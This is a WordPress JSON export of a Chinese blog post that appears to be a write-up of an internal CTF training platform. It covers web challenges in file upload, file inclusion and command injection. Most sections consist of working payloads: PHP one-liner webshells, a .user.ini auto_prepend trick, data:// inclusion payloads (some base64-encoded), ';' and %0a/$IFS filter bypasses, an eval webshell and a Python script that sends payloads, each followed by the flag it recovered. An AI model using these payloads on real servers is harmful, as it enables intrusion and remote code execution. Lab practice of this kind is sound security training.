{"id":209,"date":"2022-04-07T17:47:52","date_gmt":"2022-04-07T09:47:52","guid":{"rendered":"http:\/\/danielw.top\/?p=209"},"modified":"2024-04-25T09:32:06","modified_gmt":"2024-04-25T01:32:06","slug":"ctf%e5%86%85%e9%83%a8%e8%ae%ad%e7%bb%83%e5%b9%b3%e5%8f%b0","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=209","title":{"rendered":"CTF\u5185\u90e8\u8bad\u7ec3\u5e73\u53f0"},"content":{"rendered":"<h2>\u6587\u4ef6\u4e0a\u4f201<\/h2>\n<p>\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u5165\u6587\u4ef6\u540e\u6539\u4e3a\u80fd\u901a\u8fc7\u7684\u56fe\u7247\u683c\u5f0f\uff0c\u70b9\u51fb\u4e0a\u4f20\uff0c\u4f7f\u7528<code>bp<\/code>\u6293\u5305\u4fee\u6539\u540e\u7f00\u4e3a<code>php<\/code>\u4e0a\u4f20<\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403084311267.png\" alt=\"image-20220403084311267\" \/><\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403084445503.png\" alt=\"image-20220403084445503\" \/><\/p>\n<p>\u6839\u636e\u4e0a\u4f20\u540e\u7684\u8def\u5f84\uff0c\u8bbf\u95ee\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u8f93\u5165\u76f8\u5173\u547d\u4ee4\u627e\u5230<code>flag<\/code><\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403091816587.png\" alt=\"image-20220403091816587\" \/><\/p>\n<h2>\u6587\u4ef6\u4e0a\u4f202<\/h2>\n<p><code>bp<\/code>\u6293\u5305\u4fee\u6539\u540e\u7f00\u4e3a<code>php<\/code>\u6210\u529f\u4e0a\u4f20<\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403095429270.png\" alt=\"image-20220403095429270\" \/><\/p>\n<p>\u83b7\u53d6<code>flag<\/code>\u5728\u4f7f\u7528<code>cat<\/code>\u7684\u65f6\u5019\u53d1\u73b0\u65e0\u6cd5\u8bfb\u53d6\uff0c\u8003\u8651\u88ab\u8fc7\u6ee4\u6389\u4e86\uff0c\u4f7f\u7528<code>tac<\/code>\u6210\u529f\u83b7\u53d6<\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403095719678.png\" alt=\"image-20220403095719678\" \/><\/p>\n<h2>\u6587\u4ef6\u4e0a\u4f203<\/h2>\n<p>\u4e0a\u4f20<code>shell.php<\/code>\u4e0a\u4f20\u5931\u8d25\uff0c\u9519\u8bef\u4fe1\u606f\u4e3a\u6587\u4ef6\u5185\u5bb9\u4e0d\u5408\u89c4\uff0c\u901a\u8fc7\u540e\u7f00\u540d\u5927\u5c0f\u5199\u7ed5\u8fc7\uff0c\u89e3\u6790\u7ed5\u8fc7\u7b49\u591a\u79cd\u65b9\u5f0f\u672a\u80fd\u6210\u529f\u4e0a\u4f20\uff0c\u540e\u6765\u53d1\u73b0\u53ea\u6709<code>.user.ini<\/code>\u672a\u8fdb\u884c\u8fc7\u6ee4\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u4e0a\u4f20\u56fe\u7247\u9a6c\u7684\u65f6\u5019\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684\u5199\u6cd5\u4e00\u5b9a\u8981\u4e3a<code>&lt;?  ...  ?&gt;<\/code>\u5426\u5219\u4f1a\u56e0\u4e3a\u5185\u5bb9\u95ee\u9898\u5bfc\u81f4\u4e0a\u4f20\u5931\u8d25\uff0c\u7ecf\u8fc7\u6d4b\u8bd5\u4e0a\u4f20\u76ee\u5f55\u4e0b\u5b58\u5728<code>index.php<\/code><\/p>\n<p>\u9996\u5148\u4e0a\u4f20\u56fe\u7247\u9a6c<\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403153645061.png\" alt=\"image-20220403153645061\" \/><\/p>\n<p>\u4e0a\u4f20<code>user.ini<\/code><\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403153710178.png\" alt=\"image-20220403153710178\" \/><\/p>\n<p>\u8bbf\u95ee<code>index.php<\/code><\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403153738540.png\" alt=\"image-20220403153738540\" \/><\/p>\n<p>\u6210\u529f\u6267\u884c\u547d\u4ee4\uff0c\u83b7\u53d6<code>flag<\/code><\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220403153920470.png\" alt=\"image-20220403153920470\" \/><\/p>\n<h2>\u6587\u4ef6\u4e0a\u4f204<\/h2>\n<p>\u4e0a\u4f20\u56fe\u7247\u9a6c\u540e\u4e0a\u4f20<code>.user.ini<\/code>\u540c\u6587\u4ef6\u4e0a\u4f203<\/p>\n<pre><code>auto_prepend_file=muma.jpg<\/code><\/pre>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220404154602906.png\" alt=\"image-20220404154602906\" \/><\/p>\n<h2>\u6587\u4ef6\u4e0a\u4f207<\/h2>\n<p>\u540c\u6587\u4ef6\u4e0a\u4f204\uff0c\u4f46\u662f\u8fd9\u91cc\u7684\u56fe\u7247\u9a6c\u4e2d\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\u8981\u5199<\/p>\n<pre><code class=\"language-php\">&lt;?=`tac ..\/fl*`?&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220404162225503-16492265609517.png\" alt=\"image-20220404162225503\" \/><\/p>\n<h2>FILE_INCLUDE-FILE1<\/h2>\n<pre><code>http:\/\/81.70.245.6:50099\/?file=data:\/\/text\/plain,&lt;?php system(&quot;tac \/ffff\/ctf\/flag.php&quot;) ?&gt;\n\u5f97\u5230flag\n$flag=&quot;flag{d1e34478-a38c-4441-a69f-3ae0826ba7c9}&quot;; <\/code><\/pre>\n<h2>FILE_INCLUDE-GUOLVPHP<\/h2>\n<pre><code>http:\/\/81.70.245.6:50203\/?file=data:\/\/text\/plan,&lt;?= system(&quot;tac \/var\/www\/html\/flag.php&quot;); ?&gt;\n\u5f97\u5230flag\n$flag=&quot;flag{4895a3e9-22ff-4c23-b82f-cc988f7ce354}&quot;; <\/code><\/pre>\n<h2>FILE_INCLUDE-GUOLVPHPDATA<\/h2>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220404174536229.png\" alt=\"image-20220404174536229\" \/><\/p>\n<p>\u53d1\u73b0<code>web<\/code>\u670d\u52a1\u5668\u662f<code>ngix<\/code>\u53ef\u4ee5\u5229\u7528\u65e5\u5fd7\u5305\u542b\uff0c\u4f7f\u7528<code>bp<\/code>\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u5728\u6d4f\u89c8\u5668\u5305\u542b\u65e5\u5fd7\u6587\u4ef6\u6267\u884c\u547d\u4ee4\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220404175249298-16492264748781.png\" alt=\"image-20220404175249298\" \/><\/p>\n<pre><code>cmd=system(&quot;find \/ -name fla*&quot;);<\/code><\/pre>\n<p><img decoding=\"async\" src=\"..\/..\/..\/Daily\/Typora\/images\/image-20220404175737172.png\" alt=\"image-20220404175737172\" \/><\/p>\n<p>\u626b\u63cf\u672a\u53d1\u73b0<code>flag<\/code><\/p>\n<h2>FILE_INCLUDE-DATA<\/h2>\n<p>\u6ca1\u6709\u8fc7\u6ee4<code>data<\/code>\u548c<code>\/<\/code><\/p>\n<pre><code>http:\/\/81.70.245.6:50155\/?file=data:\/\/text\/plain;base64,PD89c3lzdGVtKCJscyIpOw\n\u53d1\u73b0 fl0g.php\nhttp:\/\/81.70.245.6:50155\/?file=data:\/\/text\/plain;base64,PD9waHAgIHN5c3RlbSgidGFjICoiKTs\/PmFh\n$flag=&quot;flag{b4894b16-ead2-41e3-b7f4-30e2890cdec0}&quot;; <\/code><\/pre>\n<h2>RCE\u6f14\u793a<\/h2>\n<pre><code>post\u4f20\u53c2\uff1a\ncmd=system(&quot;tac \/flag&quot;);\n\u5f97\u5230flag\nflag{eec9aa96ef6b45e3fa53b6415f28ecee}<\/code><\/pre>\n<h2>RCE-CAT<\/h2>\n<pre><code>\u4f7f\u7528;\u5206\u9694\u547d\u4ee4\nhttp:\/\/81.70.245.6:50487\/?ip=;tac \/var\/www\/flag.php\n\u5f97\u5230flag\nArray ( [0] =&gt; ?&gt; [1] =&gt; [2] =&gt; \/\/ flag{f0f687fa2d8ecc909d287fe532831a61} [3] =&gt; <\/code><\/pre>\n<h2>\u8fd0\u7b97\u7b26<\/h2>\n<pre><code>http:\/\/81.70.245.6:50049\/check.php?ip=;cat \/var\/www\/flag.php\nArray ( [0] =&gt; \/\/flag{cd7679a356118ac19f472179e058664d} [2] =&gt; ?&gt; ) <\/code><\/pre>\n<h2>RCE-\u547d\u4ee4\u6ce8\u5165<\/h2>\n<pre><code>http:\/\/81.70.245.6:50400\/check.php?ip=;cat \/var\/www\/flag.php\nArray ( [0] =&gt; \/\/flag{d17dd9fe1626a700b73d49271e72a848} [2] =&gt; ?&gt; ) <\/code><\/pre>\n<h2>\u76ee\u5f55\u5206\u9694\u7b26<\/h2>\n<pre><code>http:\/\/81.70.245.6:50349\/check.php?ip=;cd flag_is_here;ls -ll;cat flag_187841542210631.php\n\u5f97\u5230flag\nArray ( [0] =&gt; total 4 [1] =&gt; -rwxr-xr-x 1 root root 52 Sep 2 2021 flag_187841542210631.php [2] =&gt; \/\/ flag{6da591692173f5c9f33c9f4c205c636e} [4] =&gt; ?&gt; )<\/code><\/pre>\n<h2>\u547d\u4ee4\u6267\u884c-\u7efc\u5408\u8fc7\u6ee4<\/h2>\n<pre><code>%0a\u7ed5\u8fc7\u8fd0\u7b97\u7b26\u548c;\n$IFS$9\u4ee3\u66ff\u7a7a\u683c\n\u901a\u914d\u7b26\u4ee3\u66ffflag\n\u4f7f\u7528``\u7ed5\u8fc7cat\u5173\u952e\u5b57\nhttp:\/\/81.70.245.6:50008\/check.php?ip=%0als${IFS}-a%0acd${IFS}..%0als%0aca``t${IFS}fl*.php\nArray ( [0] =&gt; . [1] =&gt; .. [2] =&gt; ._check.php [3] =&gt; check.php [4] =&gt; index.php [5] =&gt; flag.php [6] =&gt; html [7] =&gt; \/\/flag{96a46b46d975c5a784ce0e952cdff669} [9] =&gt; ?&gt; )<\/code><\/pre>\n<h2>RCE-\u62fc\u63a5<\/h2>\n<p>\u8fd9\u91cc\u8bb2eval\u91cc\u8fb9\u7684\u5185\u5bb9\u53d8\u6210\u5c0f\u5199<\/p>\n<pre><code>http:\/\/81.70.245.6:50257\/?a=${@eval($_POST[&#039;cmd&#039;])}\npost\uff1a\ncmd=system(&quot;find \/ -name flag*&quot;);\n\u672a\u80fd\u627e\u5230flag<\/code><\/pre>\n<p><img decoding=\"async\" src=\"r9aw8ncl1.hb-bkt.clouddn.com\/image-20220405163303941.png\" alt=\"image-20220405163303941\" \/><\/p>\n<h2>\u65e0\u56de\u663eRCE<\/h2>\n<pre><code>\u5c06\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u5199\u5165\u6587\u4ef6\nhttp:\/\/81.70.245.6:50168\/?c=find \/ -name fla*&gt;2\n\u53d1\u73b0flag\u6240\u5728\u4f4d\u7f6e\n\/var\/www\/flag_is_here_is_here<\/code><\/pre>\n<p>\u8fd9\u91cc\u5bf9\u547d\u4ee4\u7684\u957f\u5ea6\u8fdb\u884c\u4e86\u9650\u5236\uff0c\u901a\u8fc7\u811a\u672c\u5199\u5165\u5e26\u56de\u663e\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u89e3\u9664\u957f\u5ea6\u9650\u5236<\/p>\n<pre><code class=\"language-python\">import requests\n\nurl = &quot;http:\/\/81.70.245.6:50452\/?c={0}&quot;\nprint(&quot;[+]start attack!!!&quot;)\nwith open(&quot;D:\\Work\\School\\\u5b89\u535a\u7f51\u7edc\u5b89\u5168\\\u5de5\u5177\\\u811a\u672c\\payload.txt&quot;,&quot;r&quot;) as f:\n    for i in f:\n        print(&quot;[*]&quot; + url.format(i.strip()))\n        requests.get(url.format(i.strip()))\n\nprint(&quot;[+]Attack defeated!!!&quot;)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220406182124032.png\" alt=\"image-20220406182124032\" \/><\/p>\n<p>\u6210\u529f\u6267\u884c<\/p>\n<pre><code>\u83b7\u53d6flag\nhttp:\/\/81.70.245.6:50452\/1.php?1=system(&quot;ls \/var\/www\/flag_is_here_is_here&quot;);\n\u5f97\u5230flag\nkey-jdladicndiennnsldjlshldsjd.php<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u4ef6\u4e0a\u4f201 \u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u5165\u6587\u4ef6\u540e\u6539\u4e3a\u80fd\u901a\u8fc7\u7684\u56fe\u7247\u683c\u5f0f\uff0c\u70b9\u51fb\u4e0a\u4f20\uff0c\u4f7f\u7528bp\u6293\u5305\u4fee\u6539\u540e\u7f00\u4e3aphp\u4e0a\u4f20 \u6839\u636e\u4e0a\u4f20\u540e\u7684\u8def\u5f84\uff0c\u8bbf\u95ee\u4e00\u53e5\u8bdd\u6728 &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-209","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/209","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=209"}],"version-history":[{"count":1,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/209\/revisions"}],"predecessor-version":[{"id":210,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/209\/revisions\/210"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=209"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=209"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=209"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}